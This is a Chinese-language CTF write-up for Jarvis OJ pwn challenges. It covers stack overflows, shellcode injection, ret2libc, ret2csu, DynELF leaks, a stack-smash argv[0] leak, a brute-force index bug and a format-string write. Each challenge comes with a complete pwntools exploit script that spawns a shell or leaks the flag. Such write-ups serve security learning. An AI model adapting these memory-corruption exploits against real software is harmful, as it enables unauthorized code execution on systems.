level0 checksec,NX开启
ida查看程序
栈溢出,可以直接覆盖掉返回地址是程序直接执行callsystem函数从而拿到shell
1 2 3 4 5 6 from pwn import *tar = remote("pwn2.jarvisoj.com" ," 9881" ) payload = 'A' *0x88 + p64(0x400596 ) tar.send(payload) tar.interactive()
level1 checksec,没有开启NX
IDA查看程序
栈溢出,由于没有开启NX,可以直接在栈中写入shellcode。栈的首地址程序会打印出来,所以直接接收
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.log_level = 'debug' p = remote("pwn2.jarvisoj.com" ,"9877" ) elf = ELF("./level1" ) shellcode = asm(shellcraft.sh()) buf = p.recvline()[14 :-2 ] buf = int(buf,16 ) print hex(buf)payload = shellcode.ljust(140 ,'a' ) + p32(buf) p.sendline(payload) p.interactive()
level2 checksec,开启了NX
IDA查看程序
栈溢出,调用系统函数执行“/bin/sh”
1 2 3 4 5 6 7 8 9 10 from pwn import *context.log_level = 'debug' p = remote("pwn2.jarvisoj.com" ,"9878" ) system_addr = 0x08048320 bin_sh = 0x0804a024 payload = flat([140 *'a' ,system_addr,'aaaa' ,bin_sh]) p.sendline(payload) p.interactive()
level2(x64) IDA查看程序
与上一题基本相同,需要注意的是64位程序与32位函数传参的不同。
32位:函数参数直接入栈
1 call_addr->ret_addr->参数n->参数n-1...
64位:
1 2 前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中 数超过六个时,从第七个开始压入栈中
这里调用system只需要一个参数“/bin/sh”,将它的地址填入rdi中即可。需要一次gadget
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = remote("pwn2.jarvisoj.com" ,"9882" ) system_addr = 0x4004c0 bin_sh = 0x600a90 rdi_pop_addr = 0x4006b3 payload = 'a' * 0x88 + p64(rdi_pop_addr) + p64(bin_sh) + p64(system_addr) p.recvuntil("Input:" ) p.sendline(payload) p.interactive()
level3 checksec
IDA查看程序
发现栈溢出,但是程序中没有可以直接利用的函数。但是有write函数,write函数可以输出write函数在got表中的地址,从而可以计算出system函数和“/bin/sh”的地址。
首先找到write函数的地址
1 2 3 4 5 6 7 8 9 from pwn import *p = remote(" pwn2.jarvisoj.com" ,"9879" ) elf = ELF("./level3" ) write_plt = elf.symbols['write' ] write_got = elf.got['write' ] payload = 'a' * 0x88 + 'aaaa' + p32(write_plt) + p32(vun_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.recvuntil("Input:\n" ) p.sendline(payload) write_addr = u32(p.recv(4 ))
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *p = remote("pwn2.jarvisoj.com" ,"9879" ) elf = ELF("./level3" ) if args.G: gdb.attach(p) vun_addr = 0x0804844b write_plt = elf.symbols['write' ] write_got = elf.got['write' ] payload = 'a' * 0x88 + 'aaaa' + p32(write_plt) + p32(vun_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.recvuntil("Input:\n" ) p.sendline(payload) write_addr = u32(p.recv(4 )) print hex(write_addr)libc = ELF('./libc-2.19.so' ) libc_base = write_addr - libc.symbols['write' ] system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next(libc.search("/bin/sh" )) payload2 = 'a' * 140 + p32(system_addr) + "aaaa" + p32(binsh_addr) p.sendline(payload2) p.interactive()
level3_x64 利用write函数泄露got表需要三个参数,在64位程序中,前三个参数分别存在rdi、rsi、rdx中,因此可以利用ret2csu。exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *p = remote("pwn2.jarvisoj.com" ,"9883" ) elf = ELF("./level3_x64" ) write_got = elf.got['write' ] write_plt = elf.symbols['write' ] main_addr = elf.symbols['main' ] csu_front_addr = 0x400690 csu_end_addr = 0x4006aa fakeebp = 'b' * 8 def csu (rbx, rbp, r12, r13, r14, r15, last) : payload = 'a' * 0x80 + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) p.send(payload) sleep(1 ) p.recvuntil("Input:\n" ) csu(0 ,1 ,write_got,8 ,write_got,1 ,main_addr) write_addr = u64(p.recv(8 )) print hex(write_addr)libc = ELF("./libc-2.19.so" ) libc_base = write_addr - libc.symbols['write' ] system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next(libc.search("/bin/sh" )) print hex(system_addr)print hex(binsh_addr)p.recvuntil("Input:\n" ) rdi = 0x4006b3 payload2 = 'a' * 0x80 + fakeebp payload2 += p64(rdi) + p64(binsh_addr) payload2 += p64(system_addr) + p64(main_addr) p.sendline(payload2) p.interactive()
level4 这道题是对无libc的栈溢出的考察,pwntools有Dynelf工具可以解决这类问题。具体攻击思路
1 利用write函数泄露出system的地址,将"/bin/sh"写入./bss段中,最后通过构造栈空间使system调用"/bin/sh"从而拿到shell
首先利用write泄露system地址
1 2 3 4 5 6 7 8 elf = ELF("./level4" ) def leak (addr) : payload = 'a' * 0x90 + p32(write_addr) + p32(vun_addr) + p32(1 ) + p32(addr) + p32(4 ) p.sendline(payload) data = p.recv(4 ) return data d = DynELF(leak,elf) system_addr = d.lookup('system' ,'libc' )
然后将”/bin/sh”写入.bss
1 2 3 payload = 'a' *0x90 + p32(read_addr) + p32(vun_addr) + p32(0 ) + p32(bss_addr) + p32(8 ) p.sendline(payload) p.senline("/bin/sh\x00" )
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *p = remote("pwn2.jarvisoj.com" ,"9880" ) elf = ELF("./level4" ) write_addr = elf.symbols['write' ] read_addr = elf.symbols['read' ] vun_addr = elf.symbols['vulnerable_function' ] bss_addr = elf.symbols['__bss_start' ] print hex(bss_addr)def leak (addr) : payload = 'a' * 0x8c + p32(write_addr) + p32(vun_addr) + p32(1 ) + p32(addr) + p32(4 ) p.sendline(payload) data = p.recv(4 ) return data d = DynELF(leak,elf = ELF("./level4" )) system_addr = d.lookup('system' ,'libc' ) exit_addr = d.lookup('exit' ,'libc' ) payload = 'a' * 0x8c + p32(read_addr) + p32(vun_addr) + p32(0 ) + p32(bss_addr) + p32(8 ) p.sendline(payload) p.send('/bin/sh\x00' ) payload = 'a' *0x8c + p32(system_addr) + p32(exit_addr) + p32(bss_addr) p.sendline(payload) p.interactive()
参考链接
https://www.anquanke.com/post/id/85129
https://www.freebuf.com/articles/system/193646.html
Test Your Memory ret2libc,具体思路和方法与level2相似,exp如下
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote("pwn2.jarvisoj.com" , "9876" ) system = 0x08048440 catflag = 0x080487e0 main = 0x080485d0 payload = 'a' * (0x13 +4 ) + p32(system) + p32(main) + p32(catflag) p.sendline(payload) p.interactive()
Tell Me Something checksec, 64位程序,NX开启
ida查看
栈溢出,用good_game地址覆盖掉函数返回地址,找出返回地址的位置
查看main函数的汇编代码,没有rbp入栈,因此填充长度为0x88,编写exp
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("pwn.jarvisoj.com" , "9876" ) good_game = 0x400620 payload = 'a' * 0x88 + p64(good_game) p.sendline(payload) p.interactive()
Smashes checksec,开启栈溢出保护,NX,fortify
根据以上信息,这是一种基于stack smash的花式栈溢出。也就是:当发生栈溢出时,__stack_chk_fail
函数会打印出报错信息,报错信息中包含argv[0],而argv[0]是保存在栈中的,因此我们可以将想要的内容的地址覆盖掉argv[0]地址即可
ida查看程序
_IO_getc函数会产生栈溢出,while循环中:flag会被overwrite,查看0x600d20的内容
1 2 .data:0000000000600D20 byte_600D20 db 50h ; DATA XREF: sub_4007E0+6Ew .data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0
说明0x600d20是最初flag地址,但是该内容会被覆盖掉。这时候我们就需要利用一个技巧了
1 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find 来进行查找。
在memset处下断点:b *400873
接下来找argv[0]的地址,在main函数处下断点:b *4006d0
找到argv[0]地址0x7fffffffe288,查看canary保护的汇编代码
在__IO_gets处下断点:b *40080e,然后计算argv[0]的偏移
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = remote("pwn.jarvisoj.com" , "9877" ) good_game = 0x400d20 p.recvuntil("name?" ) payload = 'a' * 536 + p64(good_game) p.sendline(payload) p.recvuntil("flag:" ) p.sendline("1" ) p.interactive()
Guess checksec,NX开启
IDA查看程序
inbuf[4096],fgets(inbuf,4096,stdin),无栈溢出,继续查看is_flag_correct(inbuf)
从后往前看,需要diff=0,因此需要flag和given_flag相等,given_flag与value相关,value值受bin_by_hex控制。整个程序逻辑为:
1 输入50个字符的十六进制,即100个十六进制字符。通过bin_by_hex,将100个十六进制字符转化为50个字符串存到given_flag中,最后比较真实的flag与given_flag的值。例如:输入"313233",通过bin_by_hex就会生成"123"
查看函数栈结构
可以看到flag的地址比bin_by_hex低,再看value,发现漏洞
1 2 3 value1 = bin_by_hex[flag_hex[2*i]]; ##flag_hex为输入值 value2 = bin_by_hex[flag_hex[2*i+1]]; given_flag[i] = value2 | value1*16;
flag_hex为char型,可以控制flag_hex为负数,这是value值可以为flag中的值,当value1=0时,given_flag就等于value2
1 2 128 + 64 : -64 128 + 64 + i :64+i
1 2 3 4 payload = "" for i in range(50 ): payload+='0' payload+=chr(128 +i+64 )
这样就可以使given_flag的值等于flag,但是还是无法知道具体的值,于是爆破,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *import stringp = remote("pwn.jarvisoj.com" ,"9878" ) p.recvuntil(">" ) payload = "" for i in range(50 ): payload+='0' payload+=chr(128 +i+64 ) t = list(payload) flag = "" for i in range(50 ): for j in string.printable: t[2 *i] = j.encode("hex" )[0 ] t[2 *i+1 ] = j.encode("hex" )[1 ] p.sendline("" .join(t)) re = p.recvline() if "Yaaaa" in re: flag += j break print flag p.interactive()
fm 这是一道格式化字符串的内存覆盖,详细过程https://j-kangel.github.io/2019/05/01/PWN%E5%AD%A6%E4%B9%A0%E4%B9%8Bfmtstr/#more
exp如下:
1 2 3 4 5 6 7 from pwn import *p = remote("pwn2.jarvisoj.com" ,"9895" ) x_addr = 0x0804a02c payload = p32(x_addr) + "%11$n" p.sendline(payload) p.interactive()